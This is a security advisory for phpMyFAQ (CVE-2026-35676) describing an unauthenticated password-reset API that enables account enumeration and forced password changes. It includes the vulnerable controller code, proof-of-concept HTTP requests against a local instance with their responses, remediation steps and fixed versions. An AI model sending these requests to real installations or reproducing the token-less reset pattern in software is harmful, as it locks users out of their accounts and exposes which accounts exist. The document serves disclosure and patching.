GHSA-9qv9-8xv6-5p35 CVE-2026-35676
phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation
- Severity
- 8.8 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.30%
- Chance of exploitation in the next 30 days. Higher than 23.01% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-640 Weak Password Recovery Mechanism for Forgotten Password
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
The password reset API can be triggered without authentication and without any out-of-band confirmation step.
If an attacker knows a valid username + email pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.
This creates two issues at the same time:
- account enumeration through the response difference between valid and invalid pairs
- forced password reset of another user's account, which invalidates the old password immediately
In my local reproduction, I confirmed both the response difference and the password change itself.
Details
The relevant code is in phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php.
The route is exposed without authentication:
#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]
public function updatePassword(Request $request): JsonResponse
The flow is straightforward:
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send();
return $this->json(['success' => Translation::get(key: 'lostpwd_mail_okay')], Response::HTTP_OK);
}
return $this->json(['error' => Translation::get(key: 'lostpwd_err_1')], Response::HTTP_CONFLICT);
The core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.
That means the endpoint is not just a "forgot password email sender". It is an actual unauthenticated password change trigger.
PoC
This was reproduced against a local Docker deployment of the project.
For a valid username and email pair:
PUT /api/index.php/user/password/update HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"user1","email":"user1@example.com"}
Response:
HTTP/1.0 200 OK
Content-Type: application/json
{"success":"Email has been sent."}
For an invalid pair:
PUT /api/index.php/user/password/update HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"user1","email":"wrong@example.com"}
Response:
HTTP/1.0 409 Conflict
Content-Type: application/json
{"error":"Error: Username and email address not found."}
That already confirms enumeration.
To verify that the password really changes, created a test account:
- username:
user2 - password:
Oldpass123! - email:
user2@example.com
Before calling the endpoint, the password hash stored in faquserlogin was:
481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125
Then send:
PUT /api/index.php/user/password/update HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"user2","email":"user2@example.com"}
The response was:
HTTP/1.0 200 OK
Content-Type: application/json
{"success":"Email has been sent."}
After that, the stored hash changed to:
3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f
Then try to log in with the old password:
POST /authenticate HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
faqusername=user2&faqpassword=Oldpass123!
The application redirected back to the login page and reported that the password was incorrect.
So this is not just a cosmetic issue in the API response. The old credential really becomes invalid.
Impact
The most realistic impact here is forced password reset and account disruption.
An attacker who knows or can guess a valid username and email pair can:
- confirm whether the pair is valid
- force the target account's password to change
- cause the victim's old password to stop working immediately
If the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at Medium.
Even so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.
Remediation
Recommend to change the password recovery flow to a token-based design.
- Do not change the password inside the unauthenticated endpoint.
- Generate a short-lived, single-use reset token and send only the reset link by email.
- Return the same generic response for both valid and invalid username/email pairs.
- Keep rate limiting in place, but do not rely on it as the main protection.
- Add regression tests that verify the password hash does not change until a valid reset token is presented.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| phpmyfaq/phpmyfaq | < 4.1.3 |
4.1.3 |
| thorsten/phpmyfaq | < 4.1.3 |
4.1.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
phpmyfaq/phpmyfaq Packagist → 4.1.3
- composer
composer require phpmyfaq/phpmyfaq:^4.1.3
thorsten/phpmyfaq Packagist → 4.1.3
- composer
composer require thorsten/phpmyfaq:^4.1.3
Severity breakdown
CVSS 4.0 8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Weakness
CWE-640: Weak Password Recovery Mechanism for Forgotten Password
The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
How to prevent it
- Architecture and Design: Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.
- Architecture and Design: Do not use standard weak security questions and use several security questions.
- Architecture and Design: Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.
- Architecture and Design: Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.
- Architecture and Design: Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.
- Architecture and Design: Assign a new temporary password rather than revealing the original password.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rw77-vq4g-x3hp phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-8gpw-xvpf-hvx5 phpMyFAQ's two-factor authentication login bypasses the password factor | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-pgwp-vc7q-cvj3 phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-6pvm-2vjj-rx4w phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration | Medium | Also affects thorsten/phpmyfaq |
| GHSA-mf8r-wm2w-f8c5 phpMyFAQ public FAQ APIs expose inactive FAQ content | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-88g4-74f3-63x9 phpMyFAQ has Potential Authenticated Path Traversal in PDF Export | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-pg62-f8g4-4wqh phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-985r-q3qp-299h phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards | High | Also affects phpmyfaq/phpmyfaq |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor